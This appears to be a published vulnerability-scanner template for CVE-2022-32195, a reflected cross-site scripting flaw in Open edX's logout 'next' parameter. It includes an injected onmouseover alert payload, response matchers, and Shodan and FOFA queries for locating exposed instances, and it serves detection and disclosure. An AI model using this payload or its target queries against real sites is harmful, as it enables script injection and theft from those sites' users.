CVE-2022-32195: Open edX <2022-06-06 - Cross-Site Scripting

2025-08-01 Open edX PoC Public

Description

Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.

PoC

id: CVE-2022-32195

info:
  name: Open edX <2022-06-06 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Apply the latest security patches or updates provided by Open edX to fix the Cross-Site Scripting vulnerability.
  reference:
    - https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
    - https://github.com/edx
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32195
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-32195
    cwe-id: CWE-79
    epss-score: 0.02407
    epss-percentile: 0.83236
    cpe: cpe:2.3:a:edx:open_edx:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: edx
    product: open_edx
    shodan-query:
      - http.html:"Open edX"
      - http.html:"open edx"
    fofa-query: body="open edx"
    comment: Hover the cursor on the redirect link
  tags: cve,cve2022,openedx,xss,edx,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="+8"onmouseover="alert(document.domain)">click here to go to'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008f216e67efd28c19c6bc92e41928c2a835f25562ed30e697aafa581b2d9e3430022000afc818c63d8a056aec6005b1485847297e4c08e6ed361e1c87147ec665f080:922c64590222798bb761d5b6d8e72950

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